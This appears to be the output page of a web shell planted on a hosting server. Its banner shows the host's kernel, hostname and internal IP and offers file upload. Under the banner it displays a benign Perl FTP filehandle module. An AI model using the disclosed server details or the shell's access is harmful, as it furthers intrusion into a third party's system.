~ K    A     L    I ~
UNAME : Linux web65.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
SERVER IP : 10.0.187.65 -________- CLIENT IP : 216.73.216.230
PATH :/usr/lib/perl5/vendor_perl/5.8.8/ftpcp/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/lib/perl5/vendor_perl/5.8.8/ftpcp/filehandle.pm
package ftpcp::filehandle;
use strict;
use warnings;

use Socket;
use Net::FTP;
our @ISA=qw/IO::Socket::INET/;

=head1 NAME

ftpcp::filehandle

=head1 DESCRIPTION

A wrapper for IO::Socket::INET filehandles to make sure the FTP response is actually picked up.

=head1 CLASS METHODS

=head2 new(...)

As IO::Socket::INET but with the argument "ftp", which is a Net::FTP object.

=cut

sub new {
  my ($class, %args) = @_;
  my ($self) = IO::Socket::INET::new($class, %args);
  $self->ftp($args{ftp});
}

=head1 INSTANCE METHODS

=head2 close()

As normal.

=cut

sub close {
  my ($self) = @_;
  $self->SUPER::close();
  my $ftp = ${*$self}{ftp};
  my $parent = ${*$self}{parent};
  $parent->close() if $parent;
  my $response = $ftp->response();

  $response == Net::FTP::CMD_OK;
}

=head2 ftp($ftp)

Sets the Net::FTP object to use.

=cut

sub ftp {
  my ($self, $ftp) = @_;
  ${*$self}{ftp} = $ftp;
}

=head2 parent($parent)

Sets the IO::Socket::INET connection (to shut down on complete).

=cut

sub parent {
  my ($self, $parent) = @_;
  ${*$self}{parent} = $parent;
}

1;
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com